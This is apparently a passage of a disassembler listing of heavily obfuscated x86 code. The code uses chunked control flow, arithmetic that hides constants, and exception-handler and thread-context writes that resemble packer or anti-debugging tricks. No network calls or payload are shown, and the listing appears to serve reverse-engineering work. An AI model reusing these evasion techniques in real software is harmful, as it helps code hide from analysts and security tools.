sub_4269D9+7j js loc_4269EB jmp loc_428FE8 sub_42966F endp ; --------------------------------------------------------------------------- loc_42968A: ; CODE XREF: _0182ofla:0042DD9Fj cdq ; =============== S U B R O U T I N E ======================================= sub_42968B proc near ; CODE XREF: sub_425048+1EEp ; FUNCTION CHUNK AT 00424379 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004249EA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425169 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00426071 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 00428DF1 SIZE 00000017 BYTES mov [esp+0], ebx pop ebx or eax, eax jnz loc_426075 jmp loc_424379 sub_42968B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D8FF loc_42969C: ; CODE XREF: sub_42D8FF+Aj push offset loc_425391 jmp loc_42865D ; END OF FUNCTION CHUNK FOR sub_42D8FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42349B loc_4296A6: ; CODE XREF: sub_42349B+31F8j ; _0182ofla:loc_4271C6j push 0 loc_4296A8: ; CODE XREF: _0182ofla:0042E85Dj push eax push 80FB4907h pop eax or eax, ds:4000F2h rol eax, 0Ah xor eax, 0FD275E47h jmp loc_426EC2 ; END OF FUNCTION CHUNK FOR sub_42349B ; --------------------------------------------------------------------------- loc_4296C3: ; CODE XREF: _0182ofla:loc_423510j xchg ecx, [esp] mov edx, ecx pop ecx sub edx, 5541D349h add edx, 2D6139E0h xor edx, 0B78730CAh jmp loc_42677F ; --------------------------------------------------------------------------- push 0E15DE63Eh xchg ebp, [esp] mov edx, ebp pop ebp jmp loc_425FFE ; =============== S U B R O U T I N E ======================================= sub_4296F0 proc near ; CODE XREF: sub_426455+4p ; sub_428D63:loc_42D132j ; FUNCTION CHUNK AT 00427CB8 SIZE 0000000A BYTES mov [esp+0], eax pop eax or eax, eax jnz loc_427CB8 call sub_425BF8 or eax, eax jnz nullsub_56 jmp loc_427CB8 sub_4296F0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427E42 loc_42970E: ; CODE XREF: sub_427E42+10j jnz loc_423C23 pop ebp xchg ecx, ebx jmp loc_423C20 ; END OF FUNCTION CHUNK FOR sub_427E42 ; --------------------------------------------------------------------------- popf jmp sub_42E43C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42660C loc_429722: ; CODE XREF: sub_42660C+10j jz loc_425F39 jmp loc_4278E5 ; END OF FUNCTION CHUNK FOR sub_42660C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429242 loc_42972D: ; CODE XREF: sub_429242:loc_42B85Aj pop ebx xor ebx, 0E4654642h add ebx, 0E637800Ah xchg ebx, [esp+0] jmp sub_428D17 ; END OF FUNCTION CHUNK FOR sub_429242 ; --------------------------------------------------------------------------- loc_429742: ; DATA XREF: _0182ofla:00424EA8o push eax push edi push offset loc_426D24 jmp loc_42E116 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42974E: ; CODE XREF: sub_42798F:loc_427A48j call sub_42966F cmp ds:dword_42A3B4, 0 jnz loc_42E4E2 lea edx, [ebp-14h] push offset sub_423057 jmp nullsub_57 ; END OF FUNCTION CHUNK FOR sub_42798F ; =============== S U B R O U T I N E ======================================= sub_42976D proc near ; CODE XREF: _0182ofla:004241C1j ; sub_429BEC:loc_429816p xchg eax, [esp+0] sub_42976D endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_42B15E loc_429770: ; CODE XREF: sub_42B15E:loc_4237CCj pop eax pop ebx call sub_426EA9 loc_429777: ; CODE XREF: sub_42EAB7-26E4j jmp loc_42D3A9 ; END OF FUNCTION CHUNK FOR sub_42B15E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9A4 loc_42977C: ; CODE XREF: sub_42D9A4-8660j jmp loc_425CDC ; END OF FUNCTION CHUNK FOR sub_42D9A4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425A3C loc_429781: ; CODE XREF: sub_425A3C-177Dj jmp locret_42E412 ; END OF FUNCTION CHUNK FOR sub_425A3C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E5F8 loc_429786: ; CODE XREF: sub_42E5F8+Dj jnz loc_42D884 jmp loc_42CF73 ; END OF FUNCTION CHUNK FOR sub_42E5F8 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_232. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A760 loc_429792: ; CODE XREF: sub_42A760-1B62j jmp loc_423A6B ; END OF FUNCTION CHUNK FOR sub_42A760 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_27. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9A4 loc_429798: ; CODE XREF: sub_42D9A4-268Fj jmp loc_4273A2 ; END OF FUNCTION CHUNK FOR sub_42D9A4 ; --------------------------------------------------------------------------- shr edi, 1Dh jmp loc_42B180 ; --------------------------------------------------------------------------- loc_4297A5: ; DATA XREF: sub_424CD8+1o mov ebp, esp add esp, 0FFFFFFF8h mov [ebp-4], eax call nullsub_9 ; START OF FUNCTION CHUNK FOR sub_42448C loc_4297B2: ; CODE XREF: sub_42448C:loc_428E15j mov eax, [ebp+var_4] jmp loc_4262C5 ; END OF FUNCTION CHUNK FOR sub_42448C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CC59 loc_4297BA: ; CODE XREF: sub_42CC59+4j mov eax, [ebp-8] mov dword ptr [ebp+eax*4-70h], 73257325h inc dword ptr [ebp-8] cmp dword ptr [ebp-8], 19h jnz loc_427C56 xor eax, eax jmp loc_42D29F ; END OF FUNCTION CHUNK FOR sub_42CC59 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EC1A loc_4297D9: ; CODE XREF: sub_42EC1A+Cj add eax, ebp ; END OF FUNCTION CHUNK FOR sub_42EC1A ; START OF FUNCTION CHUNK FOR sub_42AAF8 loc_4297DB: ; CODE XREF: sub_42AAF8-4B80j add eax, 7468A4D0h mov eax, [eax] call sub_4298DD ; END OF FUNCTION CHUNK FOR sub_42AAF8 ; START OF FUNCTION CHUNK FOR sub_42C2F0 loc_4297E8: ; CODE XREF: sub_42C2F0+1F83j jmp loc_4282C5 ; END OF FUNCTION CHUNK FOR sub_42C2F0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42448C loc_4297ED: ; CODE XREF: sub_42448C:loc_42626Fj jnz loc_42303F jmp loc_4299C6 ; --------------------------------------------------------------------------- loc_4297F8: ; CODE XREF: sub_4278DB-749j ; sub_42448C:loc_42A92Bj call sub_428D17 mov edx, 17B3C1CFh call sub_42D71D call sub_429AB1 loc_42980C: ; CODE XREF: sub_4256AD+322j jmp loc_42CBFB ; END OF FUNCTION CHUNK FOR sub_42448C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_429811: ; CODE XREF: sub_428F20-4158j jmp loc_42E833 ; END OF FUNCTION CHUNK FOR sub_428F20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BEC loc_429816: ; CODE XREF: sub_429BEC+55Bj call sub_42976D locret_42981B: ; CODE XREF: sub_42A4C6:loc_42A477j retn ; END OF FUNCTION CHUNK FOR sub_429BEC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DB2E loc_42981C: ; CODE XREF: sub_42DB2E-56C0j jmp loc_424374 ; END OF FUNCTION CHUNK FOR sub_42DB2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426851 loc_429821: ; CODE XREF: sub_426851-2A2Fj jmp loc_42787B ; END OF FUNCTION CHUNK FOR sub_426851 ; --------------------------------------------------------------------------- xor edi, esi mov ebx, 3C472F19h sub edi, ebx mov edx, [edi] ; START OF FUNCTION CHUNK FOR sub_423AF2 loc_429831: ; CODE XREF: sub_423AF2+2B0Fj jmp loc_428456 ; END OF FUNCTION CHUNK FOR sub_423AF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EAB7 loc_429836: ; CODE XREF: sub_42EAB7+10j inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] mov eax, ds:dword_42B8F8[eax*4] mov [ebp-8], eax cmp dword ptr [ebp-8], 0 jmp loc_429B8C ; END OF FUNCTION CHUNK FOR sub_42EAB7 ; --------------------------------------------------------------------------- loc_42984F: ; DATA XREF: sub_427259:loc_428AABo call sub_428D17 mov edx, 24CC2B1h call sub_42D71D push eax ; START OF FUNCTION CHUNK FOR sub_4291BA loc_42985F: ; CODE XREF: sub_4291BA:loc_424D97j ror eax, 3 push ebx push 0BB6589Fh pop ebx jmp loc_42539E ; END OF FUNCTION CHUNK FOR sub_4291BA ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_157. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- locret_42986F: ; CODE XREF: _0182ofla:loc_42B2FAj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423861 loc_429870: ; CODE XREF: sub_423861+A7F2j push offset loc_42A2E5 jmp loc_42B1DD ; END OF FUNCTION CHUNK FOR sub_423861 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_103. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_42987B: ; CODE XREF: sub_42D056-7973j jp loc_429319 loc_429881: ; DATA XREF: sub_426851+104Co pop dword ptr fs:0 xchg eax, [esp+4+var_4] pop eax cmp ecx, edx mov ebx, offset loc_4254B7 xchg ebx, [esp+0] retn ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4256AD loc_429896: ; CODE XREF: sub_4256AD+13j jmp loc_42D6BD ; END OF FUNCTION CHUNK FOR sub_4256AD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_159. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B669 loc_42989C: ; CODE XREF: sub_42B669:loc_42D8B9j ; DATA XREF: _0182ofla:loc_425034o mov eax, ds:dword_42E8E4 or eax, eax jnz loc_42C839 jmp loc_4244C2 ; END OF FUNCTION CHUNK FOR sub_42B669 ; --------------------------------------------------------------------------- xor edx, ebx jmp sub_4269D9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_39. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427DA9 loc_4298B7: ; CODE XREF: sub_427DA9+48BAj jmp loc_423B7B ; END OF FUNCTION CHUNK FOR sub_427DA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428A17 loc_4298BC: ; CODE XREF: sub_428A17+3j jmp sub_42C197 ; END OF FUNCTION CHUNK FOR sub_428A17 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42310C loc_4298C1: ; CODE XREF: sub_42310C+3j jmp loc_42EA61 ; END OF FUNCTION CHUNK FOR sub_42310C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_423FE2 loc_4298C6: ; CODE XREF: sub_423FE2:loc_428C63j xchg esi, [esp+0] push edx push 3BCF1A7h pop edx xor edx, 2C70BDh add edx, ebp jmp loc_42358D ; END OF FUNCTION CHUNK FOR sub_423FE2 ; =============== S U B R O U T I N E ======================================= sub_4298DD proc near ; CODE XREF: sub_42AAF8-1315p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423167 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00423E82 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042492F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00424C30 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004251D8 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00425575 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00425DED SIZE 0000001D BYTES ; FUNCTION CHUNK AT 004264B8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042676A SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00426802 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 004268B3 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00426B53 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00426CA2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427315 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 004285E9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429370 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00429E67 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042B193 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042B2BD SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042B8BE SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042C12D SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0042C8E9 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042C9BF SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0042D3C9 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042E368 SIZE 00000008 BYTES mov [esp+0], eax call sub_42CA29 test eax, eax jz loc_426802 jmp loc_4285E9 sub_4298DD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_4298F2: ; CODE XREF: sub_42798F+7D0j jz loc_42683C jmp loc_428E77 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- rol ebp, 1Ch shl ebx, 0Bh jmp sub_42E35C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424184 loc_429908: ; CODE XREF: sub_424184:loc_42302Bj mov [ebx], ecx cdq jle loc_426A45 jmp loc_42328D ; END OF FUNCTION CHUNK FOR sub_424184 ; --------------------------------------------------------------------------- locret_429916: ; CODE XREF: _0182ofla:0042E2AEj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A5FC loc_429917: ; CODE XREF: sub_42A5FC+12j jmp loc_42E4D1 ; END OF FUNCTION CHUNK FOR sub_42A5FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ECAD loc_42991C: ; CODE XREF: sub_42ECAD:loc_42ECBBj push offset sub_4263F0 jmp loc_427B95 ; END OF FUNCTION CHUNK FOR sub_42ECAD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4282B8 loc_429926: ; CODE XREF: sub_4282B8:loc_42A120j jmp loc_424AA0 ; END OF FUNCTION CHUNK FOR sub_4282B8 ; --------------------------------------------------------------------------- jmp loc_42E027 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A181 loc_429930: ; CODE XREF: sub_42A181:loc_42484Cj push offset sub_427DA9 jmp nullsub_207 ; END OF FUNCTION CHUNK FOR sub_42A181 ; --------------------------------------------------------------------------- dw 8A0Fh dd 0FFFFB77Ch, 129EC181h, 35E9E9AEh db 0A7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_42994B: ; CODE XREF: _0182ofla:004244B7j ; sub_42798F:loc_428E77j add ebx, 0CC0D3DD4h jmp loc_426836 ; END OF FUNCTION CHUNK FOR sub_42798F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_55. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_429957 proc near ; CODE XREF: sub_428F20-4A47p ; _0182ofla:004256A8j ; FUNCTION CHUNK AT 0042C47D SIZE 00000016 BYTES xchg eax, [esp+0] pop eax xor [esi], ebx add [esi], ecx xor [esi], edx jmp loc_42C47D sub_429957 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4276BF loc_429966: ; CODE XREF: sub_4276BF-2DAAj jz loc_426DFA jmp loc_42CA34 ; END OF FUNCTION CHUNK FOR sub_4276BF ; --------------------------------------------------------------------------- loc_429971: ; CODE XREF: _0182ofla:0042E6B4j pop edx and edx, 49F97EA8h cmp edx, 712EA524h jmp loc_423832 ; --------------------------------------------------------------------------- loc_429983: ; DATA XREF: sub_424DE2+3o xchg edx, [esp] mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_42C4D3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D056 loc_429991: ; CODE XREF: sub_42D056:loc_428D92j mov ecx, esp add ecx, 10h mov ecx, [ecx] mov dword ptr [ecx], 10013h add ecx, 18h mov al, [ecx] add ecx, 9Ch add [ecx], al jmp loc_42B3A8 ; END OF FUNCTION CHUNK FOR sub_42D056 ; --------------------------------------------------------------------------- loc_4299B6: ; CODE XREF: _0182ofla:0042E979j and ecx, eax ; =============== S U B R O U T I N E ======================================= sub_4299B8 proc near ; CODE XREF: sub_42380D+54A6p ; FUNCTION CHUNK AT 0042ACED SIZE 00000009 BYTES xchg esi, [esp+0] pop esi push 0D9346AADh jmp loc_42ACED sub_4299B8 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42448C loc_4299C6: ; CODE XREF: sub_42448C+5367j jz loc_428E0E not esi pop edx jmp loc_42303F ; END OF FUNCTION CHUNK FOR sub_42448C ; =============== S U B R O U T I N E ======================================= sub_4299D4 proc near ; DATA XREF: sub_428EB9:loc_4269CFo mov eax, [eax-8] or eax, 8 or eax, 10h mov edx, [ebp+8] mov [edx-8], eax jmp loc_427C1A sub_4299D4 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428EB9 loc_4299E8: ; CODE XREF: sub_428EB9+C49j cmp dword ptr [ebp-10h], 2 jnz loc_427C1A jmp loc_426F27 ; END OF FUNCTION CHUNK FOR sub_428EB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_4299F7: ; CODE XREF: sub_42798F+E1j ; sub_424BCB:loc_42DBCDj mov eax, [ebp-0Ch] call sub_42B15E loc_4299FF: ; CODE XREF: sub_428D63:loc_42E189j jnz loc_42ABE9 loc_429A05: ; CODE XREF: sub_42E218:loc_42C841j jmp loc_42ABFE ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ja loc_423DA2 jmp sub_424E36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427ED1 loc_429A15: ; CODE XREF: sub_427ED1:loc_424503j add eax, 8BEF15B1h mov eax, [eax] push eax call sub_42CA29 test eax, eax jz loc_42CC44 jmp loc_424E99 ; END OF FUNCTION CHUNK FOR sub_427ED1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_429A30: ; CODE XREF: sub_4253F4:loc_423554j ; _0182ofla:loc_42A111j mov ecx, [edx] popf jl loc_428E46 jnp loc_42B2B6 jmp loc_4274F2 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428D63 loc_429A44: ; CODE XREF: sub_428D63-1A9j xor edx, edi sbb edx, 0C2F6ED5Fh jmp loc_42B34B ; --------------------------------------------------------------------------- loc_429A51: ; CODE XREF: sub_428D63-2EC3j adc ebp, esi loc_429A53: ; CODE XREF: sub_4253F4:loc_425E91j sub edi, 4EB32E9Ch test edi, 40000h jmp loc_42DE10 ; END OF FUNCTION CHUNK FOR sub_428D63 ; =============== S U B R O U T I N E ======================================= sub_429A64 proc near ; CODE XREF: _0182ofla:00426BB0j ; sub_42ECAD+9p ; FUNCTION CHUNK AT 00425C49 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00426CBD SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427E24 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042B3BD SIZE 00000005 BYTES xchg ebx, [esp+0] pop ebx add esp, 0FFFFFFF8h mov [ebp-1], al cmp byte ptr [ebp-1], 0 jz loc_427E24 mov dword ptr [ebp-8], 1 jmp loc_426CBD sub_429A64 endp ; sp-analysis failed ; --------------------------------------------------------------------------- sbb edx, ebp jmp sub_42DE3A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428F20 loc_429A8B: ; CODE XREF: sub_428F20+3230j adc edx, 3E28B8BAh test esi, edi jmp loc_42AB80 ; END OF FUNCTION CHUNK FOR sub_428F20 ; =============== S U B R O U T I N E ======================================= sub_429A98 proc near ; CODE XREF: sub_424157+3p ; _0182ofla:0042911Aj xchg ecx, [esp+0] pop ecx mov dword ptr [edx], 1000h sub_429A98 endp ; sp-analysis failed ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_89. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429AA3 proc near ; CODE XREF: sub_423A2A+DABj ; _0182ofla:loc_42A2E0j ... var_8 = dword ptr -8 ; FUNCTION CHUNK AT 004248AE SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00425D5E SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0042D709 SIZE 00000005 BYTES push ebp mov ebp, esp jmp loc_42D709 sub_429AA3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_429AAB: ; CODE XREF: _0182ofla:0042E454j jns loc_42D0C3 ; =============== S U B R O U T I N E ======================================= sub_429AB1 proc near ; CODE XREF: sub_42349B+20A3j ; sub_42448C+537Bp ; FUNCTION CHUNK AT 0042674E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042831F SIZE 0000000A BYTES xchg eax, [esp+0] pop eax push eax jmp loc_42674E sub_429AB1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_429ABB: ; CODE XREF: sub_42798F:loc_42EC8Dj jz loc_42620C jmp loc_429D0B ; END OF FUNCTION CHUNK FOR sub_42798F ; =============== S U B R O U T I N E ======================================= sub_429AC6 proc near ; CODE XREF: _0182ofla:0042B21Ep ; _0182ofla:0042C73Ej ; FUNCTION CHUNK AT 0042A0E4 SIZE 0000000C BYTES xchg edx, [esp+0] pop edx add eax, ebp push ecx push 76381FE2h pop ecx add ecx, 1D2E7B0Fh add eax, ecx jmp loc_42A0E4 sub_429AC6 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_429AE0 proc near ; CODE XREF: _0182ofla:004239B8j ; sub_42A3E4+3p var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00423579 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425027 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042A7EE SIZE 0000000F BYTES mov [esp+0], esi pop esi push ebx push edi mov edi, ecx xchg edi, [esp+4+var_4] xchg esi, ebx push edi jmp loc_423579 sub_429AE0 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_47. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_429AF4: ; CODE XREF: _0182ofla:0042DF04j jmp loc_428A4E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_429AF9: ; CODE XREF: sub_42798F-2FE9j jmp loc_4286D9 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428EB9 loc_429AFE: ; CODE XREF: sub_428EB9-5C8Aj cmp dword ptr [ebp-10h], 1 jnz loc_4299E8 mov eax, [ebp+8] jmp loc_426713 ; END OF FUNCTION CHUNK FOR sub_428EB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424707 loc_429B10: ; CODE XREF: sub_424707+280Cj sbb ebx, ebp jl loc_424E05 add edx, 54AD398Ah loc_429B1E: ; CODE XREF: sub_428D63:loc_42B34Bj jmp loc_4274C0 ; END OF FUNCTION CHUNK FOR sub_424707 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_186. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_429B24: ; CODE XREF: _0182ofla:00426738j jmp loc_429FE9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4249FA loc_429B29: ; CODE XREF: sub_4249FA:loc_42AA2Ej push 1C45F770h pop eax rol eax, 1Bh add eax, 7F603FFDh mov eax, [eax] or eax, eax jnz loc_425512 jmp loc_42C1E0 ; END OF FUNCTION CHUNK FOR sub_4249FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E395 loc_429B47: ; CODE XREF: sub_42E395:loc_42B384j add esi, 528757F4h add esi, ebp add esi, 6AAF95A6h mov [esi], eax pop esi cmp dword ptr [ebp-8], 0 jz loc_42A9F2 push 0 jmp loc_425881 ; END OF FUNCTION CHUNK FOR sub_42E395 ; =============== S U B R O U T I N E ======================================= sub_429B69 proc near ; CODE XREF: sub_42C1B2-7A63p ; _0182ofla:004281D9p ; FUNCTION CHUNK AT 00423B8E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D3C4 SIZE 00000005 BYTES mov eax, ds:dword_42577C or eax, eax jnz loc_42C895 jmp loc_42D3C4 sub_429B69 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424E6E loc_429B7C: ; CODE XREF: sub_424E6E-1D0Dj add ecx, 4 mov dword ptr [ecx], offset loc_4274C8 xor eax, eax pop ecx retn ; END OF FUNCTION CHUNK FOR sub_424E6E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42EAB7 loc_429B8C: ; CODE XREF: sub_42EAB7-526Dj jmp loc_42A9AC ; END OF FUNCTION CHUNK FOR sub_42EAB7 ; =============== S U B R O U T I N E ======================================= sub_429B91 proc near ; CODE XREF: sub_424707+7E2Bp push dword ptr fs:0 mov fs:0, esp jmp near ptr byte_42E7D5 sub_429B91 endp ; =============== S U B R O U T I N E ======================================= sub_429BA2 proc near ; CODE XREF: _0182ofla:0042CB70p mov [esp+0], eax ror eax, 9 mov ds:dword_42D210, eax retn sub_429BA2 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42798F loc_429BAF: ; CODE XREF: sub_42798F-1D0Cj jmp loc_428FC1 ; END OF FUNCTION CHUNK FOR sub_42798F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_425418 loc_429BB4: ; CODE XREF: sub_425418+Cj jmp loc_4246BE ; END OF FUNCTION CHUNK FOR sub_425418 ; =============== S U B R O U T I N E ======================================= sub_429BB9 proc near ; CODE XREF: sub_42D730-A5BAp ; sub_428F46:loc_426A11p ... ; FUNCTION CHUNK AT 004230A0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0042EB60 SIZE 00000009 BYTES call sub_423B53 loc_429BBE: ; CODE XREF: _0182ofla:loc_428AF4j jnz loc_4230A2 jmp loc_42EB60 sub_429BB9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4253F4 loc_429BC9: ; CODE XREF: sub_4253F4+2426j ror ebx, 1Dh adc esi, ebp jmp loc_42D623 ; END OF FUNCTION CHUNK FOR sub_4253F4 ; --------------------------------------------------------------------------- loc_429BD3: ; DATA XREF: _0182ofla:00424BC2o pop ebp jmp loc_42EC82 ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx call sub_4267F8 ; START OF FUNCTION CHUNK FOR sub_42E1DA loc_429BE2: ; CODE XREF: sub_42E1DA+11j jmp loc_42822F ; END OF FUNCTION CHUNK FOR sub_42E1DA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42448C loc_429BE7: ; CODE XREF: sub_42448C-2D4j jmp nullsub_62 ; END OF FUNCTION CHUNK FOR sub_42448C ; =============== S U B R O U T I N E ======================================= sub_429BEC proc near ; CODE XREF: _0182ofla:00428302j ; sub_42E2EE+5p arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 0042335B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00425264 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426EEC SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004275F1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00429816 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042A125 SIZE 00000027 BYTES mov [esp+0], esi pop esi jnz loc_426EEC push ecx mov ecx, [esp+8+arg_4] mov dword ptr [ecx], 10001h lea eax, loc_42DD4D push ebx jmp loc_4275F1 sub_429BEC endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E395 loc_429C0D: ; CODE XREF: sub_42E395:loc_425881j push 0 push 10h mov eax, [ebp-8] push eax jmp loc_4274DE ; END OF FUNCTION CHUNK FOR sub_42E395 ; =============== S U B R O U T I N E ======================================= sub_429C1A proc near ; CODE XREF: sub_42AB27+3j ; FUNCTION CHUNK AT 00424C7F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004261D1 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0042E10D SIZE 0000000E BYTES add esp, 0FFFFFFE0h lea eax, [ebp-20h] jmp loc_4261D1 sub_429C1A endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_178. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_429C26: ; CODE XREF: 